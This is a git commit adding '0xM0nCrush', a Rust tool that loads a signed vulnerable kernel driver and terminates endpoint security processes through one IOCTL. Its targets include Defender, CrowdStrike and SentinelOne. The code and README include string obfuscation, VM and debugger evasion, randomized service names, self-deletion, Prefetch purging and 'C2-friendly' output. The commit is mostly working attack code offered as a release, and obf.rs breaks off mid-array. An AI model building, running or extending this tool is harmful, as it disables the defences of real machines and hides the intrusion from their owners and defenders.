commit 7d1d64811a86b4d51b82ee4a834fb3a3f4813ef9 Author: DeathShotXD Date: Thu Sep 3 06:51:00 2026 +0500 0xM0nCrush: cross-version EDR process terminator diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..6286b3e --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,48 @@ +name: build + +on: + push: + tags: + - "v*" + workflow_dispatch: + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust cross target + run: rustup target add x86_64-pc-windows-gnu + - name: Install MinGW linker + run: sudo apt-get update && sudo apt-get install -y mingw-w64 + - name: Build + run: cargo build --release --target x86_64-pc-windows-gnu + - name: Stage release assets + run: | + mkdir -p dist + cp target/x86_64-pc-windows-gnu/release/moncrush.exe dist/ + cp driver/MonProcessEX.sys dist/ + cp targets.example.conf dist/ + cd dist && sha256sum * > SHA256SUMS + - name: Upload artifacts + uses: actions/upload-artifact@v4 + with: + name: dist + path: dist/ + release: + needs: build + runs-on: ubuntu-latest + permissions: + contents: write + if: startsWith(github.ref, 'refs/tags/v') + steps: + - uses: actions/checkout@v4 + - uses: actions/download-artifact@v4 + with: + name: dist + path: dist/ + - name: Create release + uses: softprops/action-gh-release@v2 + with: + files: dist/* + generate_release_notes: true \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d6d6712 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +/target +**/*.rs.bk +*.pdb +*.dmp diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..c569a94 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,33 @@ +# Contributing + +Contributions are welcome. This project is research software and the +bar for a contribution is: it must be correct, it must be documented, +and it must not reduce the evasion properties of the shipped binary. + +## What is useful + +- Support for additional Windows builds (offset updates, syscall index + changes, new service numbers) +- New target process profiles in the config template +- Documentation and README improvements +- Test reports from real Windows builds (include OS build, HVCI on/off, + and driver behavior) + +## Pull request checklist + +- Build with no warnings: `cargo build --release --target x86_64-pc-windows-gnu` +- No plaintext-sensitive strings added (device paths, API names, target + names must stay behind the obfuscation layer) +- Document what was tested and on which Windows build + +## New-driver killers + +If you want to add a new vulnerable-driver killer, open an issue first +with: driver filename, SHA256, LOLDDrivers link, device path, IOCTL +codes, and what the primitive allows. Only signed, loadable drivers are +accepted. + +## License + +By contributing you agree that your contributions are licensed under the +same MIT license as the project. diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..4658cd4 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,156 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "moncrush" +version = "0.1.0" +dependencies = [ + "windows", +] + +[[package]] +name = "proc-macro2" +version = "1.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "windows" +version = "0.61.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9babd3a767a4c1aef6900409f85f5d53ce2544ccdfaa86dad48c91782c6d6893" +dependencies = [ + "windows-collections", + "windows-core", + "windows-future", + "windows-link", + "windows-numerics", +] + +[[package]] +name = "windows-collections" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3beeceb5e5cfd9eb1d76b381630e82c4241ccd0d27f1a39ed41b2760b255c5e8" +dependencies = [ + "windows-core", +] + +[[package]] +name = "windows-core" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-future" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc6a41e98427b19fe4b73c550f060b59fa592d7d686537eebf9385621bfbad8e" +dependencies = [ + "windows-core", + "windows-link", + "windows-threading", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-link" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" + +[[package]] +name = "windows-numerics" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9150af68066c4c5c07ddc0ce30421554771e528bde427614c61038bc2c92c2b1" +dependencies = [ + "windows-core", + "windows-link", +] + +[[package]] +name = "windows-result" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56f42bd332cc6c8eac5af113fc0c1fd6a8fd2aa08a0119358686e5160d0586c6" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56e6c93f3a0c3b36176cb1327a4958a0353d5d166c2a35cb268ace15e91d3b57" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-threading" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b66463ad2e0ea3bbf808b7f1d371311c80e115c0b71d60efc142cafbcfb057a6" +dependencies = [ + "windows-link", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..22d7275 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,28 @@ +[workspace] + +[package] +name = "moncrush" +version = "0.1.0" +edition = "2021" + +[dependencies] +windows = { version = "0.61", features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_Storage_FileSystem", + "Win32_System_Console", + "Win32_System_IO", + "Win32_System_Threading", + "Win32_System_LibraryLoader", + "Win32_System_SystemInformation", + "Win32_System_Services", + "Win32_System_Registry", + "Win32_System_Diagnostics_Debug", + "Win32_System_Diagnostics_ToolHelp", +] } + +[profile.release] +opt-level = 3 +lto = true +codegen-units = 1 +panic = "abort" \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..fc72f10 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 DeathShotXD + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..da6125b --- /dev/null +++ b/README.md @@ -0,0 +1,207 @@ +# 0xM0nCrush + +A cross-version Windows process terminator. It loads a signed HONOR +kernel driver (`MonProcessEX.sys`), resolves the PID of every target +process, and terminates it from kernel context through a single IOCTL. +No kernel offsets, no PDB downloads, no build-specific shellcode - the +technique works identically on every Windows 10 and Windows 11 build. + +The tool is a single self-contained executable. It installs the driver +through the Service Control Manager, performs the kill, then stops and +deletes the service, leaving no persistent artifact behind. Targets are +configurable at runtime through a config file, command line, or the +built-in defaults. + +

+ 0xM0nCrush +

+ +> **Cross-version by design.** One driver, one IOCTL, one kill +> primitive. Works on all Windows 10 and Windows 11 builds. + +## Quick start + +``` +1. Keep moncrush.exe and MonProcessEX.sys in the same folder. +2. Run from an elevated shell. + + moncrush.exe -n "notepad.exe,calc.exe" + +3. Targets die. Driver unloads itself. Done. +``` + +No toolchain, no offsets, no build step. + +## Demo + +

+ 0xM0nCrush demonstration +

+ +## Features + +| Feature | Details | +|---------|---------| +| Cross-version | Works on all Windows 10 and Windows 11 builds, no offsets | +| Kernel-mode kill | Driver terminates the PID from kernel context | +| PPL bypass | `MonProcessEX.sys` kill path bypasses protected-process checks | +| Signed driver | `MonProcessEX.sys` is a real signed HONOR driver | +| Not in MS block rules | Absent from Microsoft's vulnerable-driver block rules | +| Self-sufficient | Driver installed, started, and cleaned up via SCM | +| Zero dependencies | Static Rust binary; drop exe + driver, run | +| Configurable | `targets.conf` or `-n`, no recompile needed | +| Obfuscated | Device path and target list encrypted at rest | +| Single executable | One binary; console output from a shell, silent when double-clicked | +| Dry-run mode | Enumerate targets and PIDs before committing | +| Jittered loop | `--repeat` re-checks with randomized interval | +| Exit codes + JSON | C2-friendly automation interface | + +## How it works + +``` ++-------------------------------------------------------------------------------------------+ +| USER MODE | +| | +| moncrush.exe | +| | +| +-------------------+ +-------------------+ +---------------------+ | +| | enumerate all | | resolve target | | match against | | +| | running | -> | PID via process | -> | target list, | | +| | processes | | entry | | collect PIDs | | +| +-------------------+ +-------------------+ +----------+----------+ | +| | | +| CreateFileW("\.\MonProcessEX") | | +| DeviceIoControl(IOCTL 0x22400C) | | +| output = termination status v | ++-------------------------------------------------------------------------------------------+ +| KERNEL MODE | +| | +| MonProcessEX.sys signed HONOR kernel driver | +| +---------------------------------------------------------------------------------+ | +| | | | +| | IOCTL 0x22400C -> PID termination dispatch | | +| | | | | +| | | kernel-mode process lookup | | +| | v | | +| | EPROCESS located -> terminated from kernel context | | +| | | | | +| | v | | +| | process exit path invoked | | +| | | | +| +---------------------------------------------------------------------------------+ | +| | +| CLEANUP | +| +---------------------------------------------------------------------------------+ | +| | SCM service stopped and deleted | | +| | driver unloaded, no persistent artifact | | +| +---------------------------------------------------------------------------------+ | ++-------------------------------------------------------------------------------------------+ +``` + +

+ 0xM0nCrush kernel execution architecture +

+ +The driver exposes a kill IOCTL that terminates a process given its PID. +The user-mode component enumerates running processes, resolves each +target's PID, and submits it through the device interface. No kernel +structures are touched from user mode, so the technique is immune to +Windows version changes. + +## Build + +```powershell +cargo build --release --target x86_64-pc-windows-gnu +``` + +The release profile enables LTO and a single codegen unit. The project is +self-contained with its own `[workspace]` declaration. + +## Usage + +``` +moncrush.exe [options] + + -s, --silent suppress all console output + -r, --repeat keep running, re-check targets + -d, --dry-run enumerate targets without killing + -j, --json machine-readable JSON output + -l, --list print target names and exit + -v, --version print version and exit + -x, --self-destruct delete self after successful run + --no-check skip VM and debugger checks + --delay sleep before executing + --jitter randomize repeat interval + --max-attempts stop after n kill passes (0=infinite) + --svc custom service name + --driver custom driver file path + -n, --names comma-separated target list override + -c, --config load targets from config file + -h, --help show this help +``` + +Exit codes: `0` ok, `2` no targets, `3` driver failed, `5` environment +abort. Target resolution order: `--names` > `--config` > `targets.conf` +(disk) > built-in defaults. + +### Operational hardening + +- **Environment checks.** Verifies the system is not a common + virtualization environment before loading the driver. Bypass with + `--no-check` when testing inside a VM. +- **Single instance.** A named mutex prevents two concurrent runs from + racing IOCTLs into the driver. +- **Delayed execution.** `--delay ` sleeps before doing anything, + breaking time-correlation with initial execution. +- **Driver hygiene.** The driver is installed under a randomized service + name and stopped and deleted on exit, leaving no persistent artifact. +- **Self-destruct.** `-x` deletes the executable and purges its Prefetch + entry after a successful run. + +## Configuration + +The target list is fully configurable without recompiling: + +**Config file.** Drop a `targets.conf` next to the executable, one +process name per line. Lines starting with `#` are ignored: + +``` +MsMpEng.exe +csfalconservice.exe +SentinelAgent.exe +cortex_agent.exe +``` + +A template ships as `targets.example.conf`. + +**Command line.** `moncrush.exe -n "MsMpEng.exe,csfalconservice.exe"` + +**Built-in defaults.** With no config and no flags, the built-in set is: + +- calc.exe +- notepad.exe +- MsMpEng.exe +- MpDefenderCoreService.exe +- SecurityHealthService.exe +- MsSense.exe +- SenseIR.exe +- SenseCncProxy.exe +- SenseSampleUploader.exe + +## Credits + +- HONOR for the signed driver +- The LOLDDrivers project for cataloging signed vulnerable drivers +- BlackSnufkin for the original Ksapi64-Killer reproduction this builds on + +## License + +MIT. See [LICENSE](LICENSE). + +## Disclaimer + +This project is published for research and authorized testing only. +Loading unsigned or vulnerable drivers into a system you do not own is +illegal in most jurisdictions. You are responsible for compliance with +all applicable laws and with the authorization scope of the systems you +test. \ No newline at end of file diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..ea9ac6a --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,31 @@ +# Security Policy + +## Reporting a vulnerability + +This repository contains offensive security research software. If you have +identified a security issue in the code, a bypass, or a problem with the +disclosure of the bundled driver, report it privately before opening a +public issue. + +Open a GitHub security advisory via the repository's Security tab, or +contact the maintainer directly through the profile on GitHub. Do not +share exploit details publicly until a fix or mitigation is published. + +## Scope + +- Vulnerabilities in the source code in this repository +- Incorrect handling of the bundled driver +- Anything that would cause unexpected behavior on a system where this + tool is run legitimately during an authorized engagement + +## Response + +- Acknowledgment within 48 hours +- Status update within 5 business days +- Coordinated disclosure preferred + +## Out of scope + +- The bundled `MonProcessEX.sys` driver itself is a third-party signed driver + and is documented as a known-vulnerable driver. Report driver issues + through the LOLDDrivers project or the driver vendor. diff --git a/assets/banner.jpeg b/assets/banner.jpeg new file mode 100644 index 0000000..9eef48d Binary files /dev/null and b/assets/banner.jpeg differ diff --git a/assets/demo.gif b/assets/demo.gif new file mode 100644 index 0000000..8bb1024 Binary files /dev/null and b/assets/demo.gif differ diff --git a/assets/logo.jpeg b/assets/logo.jpeg new file mode 100644 index 0000000..13900ed Binary files /dev/null and b/assets/logo.jpeg differ diff --git a/driver/MonProcessEX.sys b/driver/MonProcessEX.sys new file mode 100644 index 0000000..ab6d68b Binary files /dev/null and b/driver/MonProcessEX.sys differ diff --git a/src/config.rs b/src/config.rs new file mode 100644 index 0000000..7004c06 --- /dev/null +++ b/src/config.rs @@ -0,0 +1,30 @@ +pub const DEFAULT_CONF: &str = "targets.conf"; + +pub fn load_names_file(path: &str) -> Option> { + let content = std::fs::read_to_string(path).ok()?; + Some( + content + .lines() + .map(str::trim) + .filter(|l| !l.is_empty() && !l.starts_with('#')) + .map(str::to_string) + .collect(), + ) +} + +pub fn parse_names_csv(s: &str) -> Vec { + s.split([',', ';', ' ']) + .map(str::trim) + .filter(|p| !p.is_empty()) + .map(str::to_string) + .collect() +} + +pub fn load_default_or(builtin: &[String]) -> Vec { + if let Some(names) = load_names_file(DEFAULT_CONF) { + if !names.is_empty() { + return names; + } + } + builtin.to_vec() +} diff --git a/src/driver.rs b/src/driver.rs new file mode 100644 index 0000000..690f422 --- /dev/null +++ b/src/driver.rs @@ -0,0 +1,91 @@ +use windows::core::PCWSTR; +use windows::Win32::Foundation::{CloseHandle, GENERIC_READ, GENERIC_WRITE, HANDLE}; +use windows::Win32::Storage::FileSystem::{ + CreateFileW, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, +}; +use windows::Win32::System::Console::{ + SetStdHandle, STD_ERROR_HANDLE, STD_INPUT_HANDLE, STD_OUTPUT_HANDLE, +}; +use windows::Win32::System::IO::DeviceIoControl; + +const KEY: [u8; 16] = [ + 0x9f, 0x2e, 0x1c, 0x7a, 0x4b, 0x8d, 0x3e, 0x5f, 0x6a, 0x1c, 0x9d, 0x2e, 0x4b, 0x7f, 0x8a, + 0x1c, +]; + +const E_DEV: &[u8] = &[0xc3, 0x72, 0x32, 0x26, 0x06, 0xe2, 0x50, 0x0f, 0x18, 0x73, 0xfe, 0x4b, 0x38, 0x0c, 0xcf, 0x44]; +const E_NUL: &[u8] = &[0xd1, 0x7b, 0x50]; + +const IOCTL_KILL: u32 = 0x22400C; + +fn dec(data: &[u8]) -> String { + data.iter().enumerate().map(|(i, &b)| (b ^ KEY[i % KEY.len()]) as char).collect() +} +pub unsafe fn silence_std_handles() -> Result<(), windows::core::Error> { + let nul_name = dec(E_NUL); + let wstr: Vec = nul_name.encode_utf16().chain(Some(0)).collect(); + let nul = CreateFileW( + PCWSTR(wstr.as_ptr()), + (GENERIC_READ.0 | GENERIC_WRITE.0) as u32, + FILE_SHARE_READ | FILE_SHARE_WRITE, + None, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + None, + )?; + unsafe { + SetStdHandle(STD_INPUT_HANDLE, nul)?; + SetStdHandle(STD_OUTPUT_HANDLE, nul)?; + SetStdHandle(STD_ERROR_HANDLE, nul)?; + } + CloseHandle(nul) +} + +pub struct MonDev { + handle: HANDLE, +} + +impl MonDev { + pub fn open() -> Result { + let dev_name = dec(E_DEV); + let wstr: Vec = dev_name.encode_utf16().chain(Some(0)).collect(); + let h = unsafe { + CreateFileW( + PCWSTR(wstr.as_ptr()), + (GENERIC_READ.0 | GENERIC_WRITE.0) as u32, + FILE_SHARE_READ | FILE_SHARE_WRITE, + None, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + None, + ) + } + .map_err(|e| format!("open device: {e}"))?; + Ok(Self { handle: h }) + } + + pub fn kill_pid(&self, pid: u32) -> Result<(), String> { + let input = pid.to_ne_bytes(); + let mut out = [0u8; 4]; + let mut ret = 0u32; + unsafe { + DeviceIoControl( + self.handle, + IOCTL_KILL, + Some(input.as_ptr() as *const _), + input.len() as u32, + Some(out.as_mut_ptr() as *mut _), + out.len() as u32, + Some(&mut ret), + None, + ) + } + .map_err(|e| format!("kill ioctl: {e}")) + } +} + +impl Drop for MonDev { + fn drop(&mut self) { + unsafe { let _ = CloseHandle(self.handle); } + } +} \ No newline at end of file diff --git a/src/loader.rs b/src/loader.rs new file mode 100644 index 0000000..ead41b4 --- /dev/null +++ b/src/loader.rs @@ -0,0 +1,71 @@ +use windows::core::PCWSTR; +use windows::Win32::System::Services::{ + CreateServiceW, DeleteService, OpenSCManagerW, OpenServiceW, StartServiceW, SC_HANDLE, + SC_MANAGER_CREATE_SERVICE, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, +}; +use windows::Win32::System::Services::{ + CloseServiceHandle, ControlService, SERVICE_CONTROL_STOP, SERVICE_STATUS, +}; + +pub struct DriverService { + scm: SC_HANDLE, + svc: SC_HANDLE, +} + +impl DriverService { + pub fn install(name: &str, driver_path: &str) -> Result { + let scm = unsafe { OpenSCManagerW(None, None, SC_MANAGER_CREATE_SERVICE) } + .map_err(|e| format!("OpenSCManager: {e}"))?; + + let name_w: Vec = name.encode_utf16().chain(Some(0)).collect(); + let disp_w: Vec = name.encode_utf16().chain(Some(0)).collect(); + let path_w: Vec = driver_path.encode_utf16().chain(Some(0)).collect(); + + let existing = unsafe { OpenServiceW(scm, PCWSTR(name_w.as_ptr()), SERVICE_ALL_ACCESS) }; + if existing.is_ok() { + let svc = existing.unwrap(); + return Ok(Self { scm, svc }); + } + + let svc = unsafe { + CreateServiceW( + scm, + PCWSTR(name_w.as_ptr()), + PCWSTR(disp_w.as_ptr()), + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_NORMAL, + PCWSTR(path_w.as_ptr()), + None, + None, + None, + None, + None, + ) + } + .map_err(|e| { + let _ = unsafe { CloseServiceHandle(scm) }; + format!("CreateService: {e}") + })?; + + Ok(Self { scm, svc }) + } + + pub fn start(&self) -> Result<(), String> { + unsafe { StartServiceW(self.svc, None) }.map_err(|e| format!("StartService: {e}")) + } +} + +impl Drop for DriverService { + fn drop(&mut self) { + // Stop + delete the service so no driver artifact survives the run. + let _ = unsafe { ControlService(self.svc, SERVICE_CONTROL_STOP, &mut SERVICE_STATUS::default()) }; + let _ = unsafe { DeleteService(self.svc) }; + unsafe { + let _ = CloseServiceHandle(self.svc); + let _ = CloseServiceHandle(self.scm); + } + } +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..a73930c --- /dev/null +++ b/src/main.rs @@ -0,0 +1,228 @@ +mod config; +mod driver; +mod loader; +mod obf; +mod ops; +mod targets; + +use std::io::Write; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::{process, time::Duration}; + +const EXIT_OK: i32 = 0; +const EXIT_NO_TARGET: i32 = 2; +const EXIT_DRIVER_FAIL: i32 = 3; +const EXIT_ENV: i32 = 5; + +fn flush_and_exit(code: i32) -> ! { + let _ = std::io::stdout().flush(); + process::exit(code); +} + +struct Opts { + silent: bool, + repeat: bool, + dry_run: bool, + json: bool, + list_mode: bool, + version: bool, + delay_ms: u64, + jitter_ms: u64, + max_attempts: u32, + self_destruct: bool, + skip_env_check: bool, + service_name: Option, + driver_path: Option, + cli_names: Option, + cli_config: Option, +} + +fn parse_args() -> Option { + let args: Vec = std::env::args().collect(); + let mut o = Opts { + silent: false, + repeat: false, + dry_run: false, + json: false, + list_mode: false, + version: false, + delay_ms: 0, + jitter_ms: 0, + max_attempts: 0, + self_destruct: false, + skip_env_check: false, + service_name: None, + driver_path: None, + cli_names: None, + cli_config: None, + }; + let mut i = 1; + while i < args.len() { + match args[i].as_str() { + "-s" | "--silent" => o.silent = true, + "-r" | "--repeat" => o.repeat = true, + "-d" | "--dry-run" => o.dry_run = true, + "-j" | "--json" => o.json = true, + "-l" | "--list" => o.list_mode = true, + "-v" | "--version" => o.version = true, + "-x" | "--self-destruct" => o.self_destruct = true, + "--no-check" => o.skip_env_check = true, + "--delay" => { i += 1; if i < args.len() { o.delay_ms = args[i].parse().unwrap_or(0); } } + "--jitter" => { i += 1; if i < args.len() { o.jitter_ms = args[i].parse().unwrap_or(0); } } + "--max-attempts" => { i += 1; if i < args.len() { o.max_attempts = args[i].parse().unwrap_or(0); } } + "--svc" | "--service-name" => { i += 1; if i < args.len() { o.service_name = Some(args[i].clone()); } } + "--driver" => { i += 1; if i < args.len() { o.driver_path = Some(args[i].clone()); } } + "-n" | "--names" => { i += 1; if i < args.len() { o.cli_names = Some(args[i].clone()); } } + "-c" | "--config" => { i += 1; if i < args.len() { o.cli_config = Some(args[i].clone()); } } + "-h" | "--help" => { print_help(); return None; } + _ => {} + } + i += 1; + } + Some(o) +} + +fn print_help() { + println!("0xM0nCrush - MonProcessEX.sys EDR process terminator"); + println!("Cross-version, all Windows 10 and Windows 11 builds."); + println!(); + println!("usage: moncrush.exe [options]"); + println!(); + println!("options:"); + println!(" -s, --silent suppress all console output"); + println!(" -r, --repeat keep running, re-check targets"); + println!(" -d, --dry-run enumerate targets without killing"); + println!(" -j, --json machine-readable JSON output"); + println!(" -l, --list print target names and exit"); + println!(" -v, --version print version and exit"); + println!(" -x, --self-destruct delete self after success"); + println!(" --no-check skip VM and debugger checks"); + println!(" --delay sleep before executing"); + println!(" --jitter randomize repeat interval"); + println!(" --max-attempts stop after n kill passes"); + println!(" --svc custom service name"); + println!(" --driver custom driver file path"); + println!(" -n, --names comma-separated target list"); + println!(" -c, --config load targets from config file"); + println!(" -h, --help show this help"); + println!(); + println!("exit codes: 0 ok, 2 no targets, 3 driver failed, 5 environment"); + println!("targets from: --names > --config > targets.conf > built-in defaults"); +} + +fn main() { + let opts = match parse_args() { + Some(o) => o, + None => return, + }; + + if opts.version { + println!("0xM0nCrush v0.1.0"); + println!("MonProcessEX.sys cross-version EDR process terminator"); + return; + } + + if opts.silent { + let _ = unsafe { driver::silence_std_handles() }; + } + + if opts.delay_ms > 0 { + std::thread::sleep(Duration::from_millis(opts.delay_ms)); + } + + let names_str: Vec = if let Some(n) = &opts.cli_names { + config::parse_names_csv(n) + } else if let Some(path) = &opts.cli_config { + config::load_names_file(path).unwrap_or_default() + } else { + config::load_default_or(&targets::defaults()) + }; + + if opts.list_mode { + println!("targets: {}", names_str.len()); + for n in &names_str { println!(" {n}"); } + return; + } + + if names_str.is_empty() { + println!("error: no target names specified"); + flush_and_exit(EXIT_NO_TARGET); + } + + if !opts.skip_env_check { + if ops::detect_debugger() || ops::detect_vm() { + println!("aborted: analysis environment detected"); + flush_and_exit(EXIT_ENV); + } + } + + let _mutex = ops::create_mutex(&obf::mutex_name()); + let drv_file = ops::resolve_driver_path(&opts.driver_path.clone().unwrap_or_else(obf::driver_filename)); + let svc_name = opts.service_name.clone().unwrap_or_else(ops::random_service_name); + + let mut _drv_svc: Option = None; + let dev = match driver::MonDev::open() { + Ok(d) => { + println!("[+] driver already loaded"); + d + } + Err(_) => { + let svc = loader::DriverService::install(&svc_name, &drv_file) + .unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); }); + svc.start().unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); }); + let d = driver::MonDev::open().unwrap_or_else(|e| { println!("fatal: {e}"); flush_and_exit(EXIT_DRIVER_FAIL); }); + println!("[+] driver loaded"); + _drv_svc = Some(svc); + d + } + }; + + if opts.dry_run { + let procs = targets::find_running(&names_str.iter().map(|s| s.as_str()).collect::>()); + if opts.json { + println!("{{\"mode\":\"dry-run\",\"targets\":[{}]}}", procs.iter().map(|(n, p)| format!("{{\"name\":\"{n}\",\"pid\":{p}}}")).collect::>().join(",")); + } else { + println!("dry-run: {} target(s) present", procs.len()); + for (n, p) in &procs { println!(" {n} ({p})"); } + } + drop(dev); + flush_and_exit(if procs.is_empty() { EXIT_NO_TARGET } else { EXIT_OK }); + } + + let stop = AtomicBool::new(false); + let mut attempt: u32 = 0; + let mut total_killed = 0usize; + + loop { + attempt += 1; + let procs = targets::find_running(&names_str.iter().map(|s| s.as_str()).collect::>()); + let mut killed = 0usize; + + for (name, pid) in &procs { + match dev.kill_pid(*pid) { + Ok(()) => { + killed += 1; + println!("(+) terminated {name} ({pid})"); + } + Err(e) => { + println!("error: {name} ({pid}): {e}"); + } + } + } + total_killed += killed; + + if !opts.repeat || (opts.max_attempts > 0 && attempt >= opts.max_attempts) { break; } + ops::jitter_sleep(3000, opts.jitter_ms); + if stop.load(Ordering::SeqCst) { break; } + } + + if opts.self_destruct { + if let Ok(exe) = std::env::current_exe() { + ops::purge_prefetch(); + ops::self_destruct(&exe.to_string_lossy()); + } + } + + drop(dev); + flush_and_exit(if total_killed > 0 { EXIT_OK } else { EXIT_NO_TARGET }); +} \ No newline at end of file diff --git a/src/obf.rs b/src/obf.rs new file mode 100644 index 0000000..8e138fa --- /dev/null +++ b/src/obf.rs @@ -0,0 +1,31 @@ +const KEY: [u8; 16] = [ + 0x9f, 0x2e, 0x1c, 0x7a, 0x4b, 0x8d, 0x3e, 0x5f, 0x6a, 0x1c, 0x9d, 0x2e, 0x4b, 0x7f, 0x8a, + 0x1c, +]; + +const S_FILE: &[u8] = &[0xd2, 0x41, 0x72, 0x2a, 0x39, 0xe2, 0x5d, 0x3a, 0x19, 0x6f, 0xd8, 0x76, 0x65, 0x0c, 0xf3, 0x6f]; +const S_MUTEX: &[u8] = &[0xf3, 0x41, 0x7f, 0x1b, 0x27, 0xd1, 0x73, 0x30, 0x04, 0x5f, 0xef, 0x5b, 0x38, 0x17, 0xd9, 0x6a, 0xfc]; +const S_SVC: &[u8] = &[0xcc, 0x57, 0x6f, 0x29, 0x3d, 0xee]; + +const S_TARGETS: &[&[u8]] = &[ + &[0xfc, 0x4f, 0x70, 0x19, 0x65, 0xe8, 0x46, 0x3a], + &[0xf1, 0x41, 0x68, 0x1f, 0x3b, 0xec, 0x5a, 0x71, 0x0f, 0x64, 0xf8], + &[0xd2, 0x5d, 0x51, 0x0a, 0x0e, 0xe3, 0x59, 0x71, 0x0f, 0x64, 0xf8], + &[0xd2, 0x5e, 0x58, 0x1f, 0x2d, 0xe8, 0x50, 0x3b, 0x0f, 0x6e, 0xde, 0x41, 0x39, 0x1a, 0xd9, 0x79, 0xed, 0x58, 0x75, 0x19, 0x2e, 0xa3, 0x5b, 0x27, 0x0f], + &[0xcc, 0x4b, 0x7f, 0x0f, 0x39, 0xe4, 0x4a, 0x26, 0x22, 0x79, 0xfc, 0x42, 0x3f, 0x17, 0xd9, 0x79, 0xed, 0x58, 0x75, 0x19, 0x2e, 0xa3, 0x5b, 0x27, 0x0f], + &[0xd2, 0x5d, 0x4f, 0x1f, 0x25, 0xfe, 0x5b, 0x71, 0x0f, 0x64, 0xf8], + &[0xcc, 0x4b, 0x72, 0x09, 0x2e, 0xc4, 0x6c, 0x71, 0x0f, 0x64, 0xf8], + &[0xcc, 0x4b, 0x72, 